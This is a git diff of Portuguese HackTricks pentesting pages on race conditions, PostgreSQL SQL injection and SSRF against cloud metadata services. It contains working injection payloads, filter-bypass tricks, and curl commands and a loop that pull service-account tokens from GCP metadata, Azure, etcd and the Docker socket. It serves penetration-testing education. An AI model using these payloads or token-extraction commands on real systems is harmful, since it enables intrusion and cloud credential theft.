3. **Demonstrar a Vulnerabilidade**
|
||||
- Reduza o ataque para o número mínimo de solicitações necessárias para explorar a vulnerabilidade, muitas vezes apenas duas. Esta etapa pode exigir várias tentativas ou automação devido ao timing preciso envolvido.
|
||||
* Reduza o ataque para o número mínimo de solicitações necessárias para explorar a vulnerabilidade, muitas vezes apenas duas. Esta etapa pode exigir várias tentativas ou automação devido ao timing preciso envolvido.
|
||||
|
||||
### Ataques Sensíveis ao Tempo
|
||||
|
||||
A precisão no timing das solicitações pode revelar vulnerabilidades, especialmente quando métodos previsíveis como carimbos de data e hora são usados para tokens de segurança. Por exemplo, gerar tokens de redefinição de senha com base em carimbos de data e hora poderia permitir tokens idênticos para solicitações simultâneas.
|
||||
|
||||
**Para Explorar:**
|
||||
- Use timing preciso, como um ataque de pacote único, para fazer solicitações de redefinição de senha simultâneas. Tokens idênticos indicam uma vulnerabilidade.
|
||||
|
||||
* Use timing preciso, como um ataque de pacote único, para fazer solicitações de redefinição de senha simultâneas. Tokens idênticos indicam uma vulnerabilidade.
|
||||
|
||||
**Exemplo:**
|
||||
- Solicite dois tokens de redefinição de senha ao mesmo tempo e compare-os. Tokens correspondentes sugerem uma falha na geração de token.
|
||||
|
||||
**Confira este [Laboratório PortSwigger](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) para tentar isso.**
|
||||
* Solicite dois tokens de redefinição de senha ao mesmo tempo e compare-os. Tokens correspondentes sugerem uma falha na geração de tokens.
|
||||
|
||||
**Confira este** [**Laboratório PortSwigger**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **para tentar isso.**
|
||||
|
||||
## Estudos de caso de subestados ocultos
|
||||
|
||||
|
@ -223,19 +222,19 @@ A ideia é **verificar um endereço de e-mail e alterá-lo para um diferente ao
|
|||
|
||||
De acordo com [**esta pesquisa**](https://portswigger.net/research/smashing-the-state-machine) o Gitlab estava vulnerável a uma tomada de controle dessa maneira porque poderia **enviar** o **token de verificação de e-mail de um e-mail para o outro e-mail**.
|
||||
|
||||
**Confira este [Laboratório PortSwigger](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) para tentar isso.**
|
||||
**Confira este** [**Laboratório PortSwigger**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **para tentar isso.**
|
||||
|
||||
### Estados ocultos do banco de dados / Bypass de confirmação
|
||||
|
||||
Se **2 gravações diferentes** são usadas para **adicionar** **informações** dentro de um **banco de dados**, há um pequeno período de tempo em que **apenas os primeiros dados foram gravados** no banco de dados. Por exemplo, ao criar um usuário, o **nome de usuário** e a **senha** podem ser **gravados** e **então o token** para confirmar a conta recém-criada é gravado. Isso significa que por um curto período de tempo o **token para confirmar uma conta é nulo**.
|
||||
Se **2 gravações diferentes** são usadas para **adicionar informações** dentro de um **banco de dados**, há um pequeno período de tempo em que **apenas os primeiros dados foram gravados** no banco de dados. Por exemplo, ao criar um usuário, o **nome de usuário** e a **senha** podem ser **gravados** e **então o token** para confirmar a conta recém-criada é gravado. Isso significa que por um curto período de tempo o **token para confirmar uma conta é nulo**.
|
||||
|
||||
Portanto, **registrar uma conta e enviar várias solicitações com um token vazio** (`token=` ou `token[]=` ou qualquer outra variação) para confirmar a conta imediatamente poderia permitir **confirmar uma conta** onde você não controla o e-mail.
|
||||
|
||||
**Confira este [Laboratório PortSwigger](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) para tentar isso.**
|
||||
**Confira este** [**Laboratório PortSwigger**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **para tentar isso.**
|
||||
|
||||
### Bypass 2FA
|
||||
### Bypass de 2FA
|
||||
|
||||
O pseudo-código a seguir é vulnerável a condição de corrida porque em um tempo muito curto o **2FA não é aplicado** enquanto a sessão é criada:
|
||||
O seguinte pseudo-código é vulnerável a condição de corrida porque em um tempo muito curto o **2FA não é aplicado** enquanto a sessão é criada:
|
||||
```python
|
||||
session['userid'] = user.userid
|
||||
if user.mfa_enabled:
|
||||
|
@ -250,13 +249,13 @@ Portanto, até aqui é apenas um login comum com google/linkedin/github... onde
|
|||
|
||||
#### Condição de corrida em `authorization_code`
|
||||
|
||||
O **problema** surge quando você **aceita** e automaticamente envia um **`authorization_code`** para o aplicativo malicioso. Em seguida, este **aplicativo abusa de uma Condição de Corrida no provedor de serviços de OAuth para gerar mais de um AT/RT** (_Authentication Token/Refresh Token_) a partir do **`authorization_code`** para sua conta. Basicamente, ele abusará do fato de você ter aceitado o aplicativo para acessar seus dados e **criará várias contas**. Então, se você **parar de permitir que o aplicativo acesse seus dados, um par de AT/RT será excluído, mas os outros ainda serão válidos**.
|
||||
O **problema** surge quando você **aceita** e automaticamente envia um **`authorization_code`** para o aplicativo malicioso. Em seguida, este **aplicativo abusa de uma Condição de Corrida no provedor de serviços de OAuth para gerar mais de um AT/RT** (_Token de Autenticação/Token de Atualização_) a partir do **`authorization_code`** para sua conta. Basicamente, ele abusará do fato de você ter aceitado o aplicativo para acessar seus dados e **criará várias contas**. Então, se você **parar de permitir que o aplicativo acesse seus dados, um par de AT/RT será excluído, mas os outros ainda serão válidos**.
|
||||
|
||||
#### Condição de corrida em `Refresh Token`
|
||||
|
||||
Uma vez que você **obteve um RT válido**, você poderia tentar **abusar dele para gerar vários AT/RT** e **mesmo se o usuário cancelar as permissões** para o aplicativo malicioso acessar seus dados, **vários RTs ainda serão válidos**.
|
||||
|
||||
## **RC em WebSockets**
|
||||
## **CC em WebSockets**
|
||||
|
||||
Em [**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondition\_PoC) você pode encontrar um PoC em Java para enviar mensagens de websocket em **paralelo** para abusar de **Condições de Corrida também em Web Sockets**.
|
||||
|
||||
|
@ -274,10 +273,10 @@ Em [**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondition\
|
|||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking na AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
|
@ -10,11 +10,11 @@ Outras formas de apoiar o HackTricks:
|
|||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se você está interessado em **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
|
||||
|
||||
|
@ -32,7 +32,7 @@ O módulo **PostgreSQL `dblink`** oferece capacidades para se conectar a outras
|
|||
|
||||
Você pode [**ler este exemplo**](dblink-lo\_import-data-exfiltration.md) para ver um exemplo de CTF de **como carregar dados dentro de objetos grandes e depois exfiltrar o conteúdo dos objetos grandes dentro do nome de usuário** da função `dblink_connect`.
|
||||
|
||||
## Ataques ao PostgreSQL: Leitura/escrita, RCE, escalonamento de privilégios
|
||||
## Ataques no PostgreSQL: Leitura/escrita, RCE, escalonamento de privilégios
|
||||
|
||||
Confira como comprometer o host e escalar privilégios a partir do PostgreSQL em:
|
||||
|
||||
|
@ -49,7 +49,7 @@ Manipular strings pode ajudá-lo a **burlar WAFs ou outras restrições**.\
|
|||
|
||||
### Consultas Empilhadas
|
||||
|
||||
Lembre-se de que o postgresql suporta consultas empilhadas, mas vários aplicativos lançarão um erro se 2 respostas forem retornadas quando se espera apenas 1. No entanto, você ainda pode abusar das consultas empilhadas via injeção de Tempo:
|
||||
Lembre-se de que o postgresql suporta consultas empilhadas, mas vários aplicativos lançarão um erro se 2 respostas forem retornadas quando esperam apenas 1. No entanto, você ainda pode abusar das consultas empilhadas via injeção de Tempo:
|
||||
```
|
||||
id=1; select pg_sleep(10);-- -
|
||||
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
|
||||
|
@ -71,8 +71,6 @@ SELECT database_to_xml(true,true,'');
|
|||
### Strings in Hex
|
||||
|
||||
Se você pode executar **consultas** passando-as **dentro de uma string** (por exemplo, usando a função **`query_to_xml`**). **Você pode usar o convert\_from para passar a string como hexadecimal e contornar filtros dessa maneira:**
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```sql
|
||||
select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');
|
||||
|
||||
|
@ -90,13 +88,13 @@ Se não puder usar aspas para sua carga útil, você pode contornar isso com `CH
|
|||
```
|
||||
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
|
||||
```
|
||||
Ou com `$`. Estas consultas retornam os mesmos resultados:
|
||||
Ou com `$`. Essas consultas retornam os mesmos resultados:
|
||||
```
|
||||
SELECT 'hacktricks';
|
||||
SELECT $$hacktricks$$;
|
||||
SELECT $TAG$hacktricks$TAG$;
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se você está interessado em **carreira de hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
|
||||
|
||||
|
|
|
@ -7,16 +7,16 @@
|
|||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Adquira [**produtos oficiais PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Encontre vulnerabilidades que mais importam para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, de APIs a aplicativos da web e sistemas em nuvem. [**Experimente de graça**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
|
||||
Encontre vulnerabilidades que importam mais para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, de APIs a aplicativos da web e sistemas em nuvem. [**Experimente de graça**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
@ -31,7 +31,7 @@ Encontre vulnerabilidades que mais importam para que você possa corrigi-las mai
|
|||
Existem **2 versões** do endpoint de metadados. A **primeira** permite **acessar** o endpoint via solicitações **GET** (então qualquer **SSRF pode explorá-lo**). Para a **versão 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), você precisa solicitar um **token** enviando uma solicitação **PUT** com um **cabeçalho HTTP** e depois usar esse token para acessar os metadados com outro cabeçalho HTTP (então é **mais complicado de abusar** com um SSRF).
|
||||
|
||||
{% hint style="danger" %}
|
||||
Observe que se a instância EC2 estiver aplicando o IMDSv2, [**de acordo com a documentação**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), a **resposta da solicitação PUT** terá um **limite de salto de 1**, tornando impossível acessar os metadados do EC2 de um contêiner dentro da instância EC2.
|
||||
Observe que se a instância EC2 estiver aplicando IMDSv2, [**de acordo com a documentação**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), a **resposta da solicitação PUT** terá um **limite de salto de 1**, tornando impossível acessar os metadados da EC2 de um contêiner dentro da instância EC2.
|
||||
|
||||
Além disso, **IMDSv2** também **bloqueará solicitações para buscar um token que inclua o cabeçalho `X-Forwarded-For`**. Isso é para evitar que proxies reversos mal configurados possam acessá-lo.
|
||||
{% endhint %}
|
||||
|
@ -174,10 +174,10 @@ Endpoints interessantes para extrair informações:
|
|||
```bash
|
||||
# /project
|
||||
# Project name and number
|
||||
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
|
||||
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
|
||||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
|
||||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
|
||||
# Project attributes
|
||||
curl -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/project/attributes/?recursive=true
|
||||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/attributes/?recursive=true
|
||||
|
||||
# /oslogin
|
||||
# users
|
||||
|
@ -191,17 +191,17 @@ curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslog
|
|||
|
||||
# /instance
|
||||
# Description
|
||||
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
|
||||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
|
||||
# Hostname
|
||||
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
|
||||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
|
||||
# ID
|
||||
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
|
||||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
|
||||
# Image
|
||||
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
|
||||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
|
||||
# Machine Type
|
||||
curl -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
|
||||
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
|
||||
# Name
|
||||
curl -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
|
||||
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
|
||||
# Tags
|
||||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags
|
||||
# Zone
|
||||
|
@ -249,7 +249,7 @@ curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?rec
|
|||
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
|
||||
-H "Metadata-Flavor: Google"
|
||||
```
|
||||
Beta NÃO requer um cabeçalho no momento (obrigado Mathias Karlsson @avlidienbrunn)
|
||||
Beta não requer um cabeçalho no momento (obrigado Mathias Karlsson @avlidienbrunn)
|
||||
```
|
||||
http://metadata.google.internal/computeMetadata/v1beta1/
|
||||
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
|
||||
|
@ -275,9 +275,9 @@ Extrair o token
|
|||
```
|
||||
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
|
||||
```
|
||||
Verifique o escopo do token
|
||||
```
|
||||
$ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA {
|
||||
Verifique o escopo do token (com a saída anterior ou executando o seguinte)
|
||||
```bash
|
||||
curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA {
|
||||
"issued_to": "101302079XXXXX",
|
||||
"audience": "10130207XXXXX",
|
||||
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
|
||||
|
@ -296,6 +296,33 @@ curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCo
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
## Funções na Nuvem <a href="#id-9f1f" id="id-9f1f"></a>
|
||||
|
||||
O endpoint de metadados funciona da mesma forma que em VMs, mas sem alguns endpoints:
|
||||
```bash
|
||||
# /project
|
||||
# Project name and number
|
||||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
|
||||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
|
||||
|
||||
# /instance
|
||||
# ID
|
||||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
|
||||
# Zone
|
||||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
|
||||
# Auto MTLS config
|
||||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration
|
||||
# Service Accounts
|
||||
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
|
||||
echo " Name: $sa"
|
||||
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
|
||||
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
|
||||
echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
|
||||
echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
|
||||
echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
|
||||
echo " ============== "
|
||||
done
|
||||
```
|
||||
## Digital Ocean <a href="#id-9f1f" id="id-9f1f"></a>
|
||||
|
||||
{% hint style="warning" %}
|
||||
|
@ -373,10 +400,7 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h
|
|||
/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
|
||||
/metadata/instance/compute/userData?api-version=2021-01-01&format=text
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
### Serviço de Aplicativo Azure
|
||||
### Azure App Service
|
||||
|
||||
A partir do **env** você pode obter os valores de `IDENTITY_HEADER` _e_ `IDENTITY_ENDPOINT`. Que você pode usar para obter um token para falar com o servidor de metadados.
|
||||
|
||||
|
@ -490,71 +514,76 @@ A documentação para os serviços de metadados de várias plataformas está des
|
|||
|
||||
## Packetcloud
|
||||
|
||||
Para acessar os metadados do Packetcloud, a documentação pode ser encontrada em:
|
||||
[https://metadata.packet.net/userdata](https://metadata.packet.net/userdata)
|
||||
Para acessar os metadados do Packetcloud, a documentação pode ser encontrada em: [https://metadata.packet.net/userdata](https://metadata.packet.net/userdata)
|
||||
|
||||
## OpenStack/RackSpace
|
||||
|
||||
A necessidade de um cabeçalho não é mencionada. Os metadados podem ser acessados através de:
|
||||
- `http://169.254.169.254/openstack`
|
||||
|
||||
* `http://169.254.169.254/openstack`
|
||||
|
||||
## HP Helion
|
||||
|
||||
A necessidade de um cabeçalho também não é mencionada aqui. Os metadados são acessíveis em:
|
||||
- `http://169.254.169.254/2009-04-04/meta-data/`
|
||||
|
||||
* `http://169.254.169.254/2009-04-04/meta-data/`
|
||||
|
||||
## Oracle Cloud
|
||||
|
||||
A Oracle Cloud fornece uma série de endpoints para acessar vários aspectos de metadados:
|
||||
- `http://192.0.0.192/latest/`
|
||||
- `http://192.0.0.192/latest/user-data/`
|
||||
- `http://192.0.0.192/latest/meta-data/`
|
||||
- `http://192.0.0.192/latest/attributes/`
|
||||
O Oracle Cloud fornece uma série de endpoints para acessar vários aspectos de metadados:
|
||||
|
||||
* `http://192.0.0.192/latest/`
|
||||
* `http://192.0.0.192/latest/user-data/`
|
||||
* `http://192.0.0.192/latest/meta-data/`
|
||||
* `http://192.0.0.192/latest/attributes/`
|
||||
|
||||
## Alibaba
|
||||
|
||||
A Alibaba oferece endpoints para acessar metadados, incluindo IDs de instância e imagem:
|
||||
- `http://100.100.100.200/latest/meta-data/`
|
||||
- `http://100.100.100.200/latest/meta-data/instance-id`
|
||||
- `http://100.100.100.200/latest/meta-data/image-id`
|
||||
|
||||
* `http://100.100.100.200/latest/meta-data/`
|
||||
* `http://100.100.100.200/latest/meta-data/instance-id`
|
||||
* `http://100.100.100.200/latest/meta-data/image-id`
|
||||
|
||||
## Kubernetes ETCD
|
||||
|
||||
O Kubernetes ETCD pode armazenar chaves de API, endereços IP internos e portas. O acesso é demonstrado através de:
|
||||
- `curl -L http://127.0.0.1:2379/version`
|
||||
- `curl http://127.0.0.1:2379/v2/keys/?recursive=true`
|
||||
|
||||
* `curl -L http://127.0.0.1:2379/version`
|
||||
* `curl http://127.0.0.1:2379/v2/keys/?recursive=true`
|
||||
|
||||
## Docker
|
||||
|
||||
Os metadados do Docker podem ser acessados localmente, com exemplos fornecidos para recuperação de informações de contêiner e imagem:
|
||||
- Exemplo simples para acessar metadados de contêineres e imagens via o socket do Docker:
|
||||
- `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
|
||||
- Dentro do contêiner, use o curl com o socket do Docker:
|
||||
- `curl --unix-socket /var/run/docker.sock http://foo/containers/json`
|
||||
- `curl --unix-socket /var/run/docker.sock http://foo/images/json`
|
||||
Os metadados do Docker podem ser acessados localmente, com exemplos fornecidos para recuperação de informações de contêineres e imagens:
|
||||
|
||||
* Exemplo simples para acessar metadados de contêineres e imagens via o socket do Docker:
|
||||
* `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
|
||||
* Dentro do contêiner, use o curl com o socket do Docker:
|
||||
* `curl --unix-socket /var/run/docker.sock http://foo/containers/json`
|
||||
* `curl --unix-socket /var/run/docker.sock http://foo/images/json`
|
||||
|
||||
## Rancher
|
||||
|
||||
Os metadados do Rancher podem ser acessados usando:
|
||||
- `curl http://rancher-metadata/<version>/<path>`
|
||||
|
||||
* `curl http://rancher-metadata/<version>/<path>`
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Encontre vulnerabilidades que são mais importantes para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, desde APIs até aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
|
||||
Encontre vulnerabilidades que mais importam para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, de APIs a aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenha o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,15 +1,15 @@
|
|||
# Injeção de Template do Lado do Servidor (SSTI)
|
||||
# SSTI (Server Side Template Injection)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
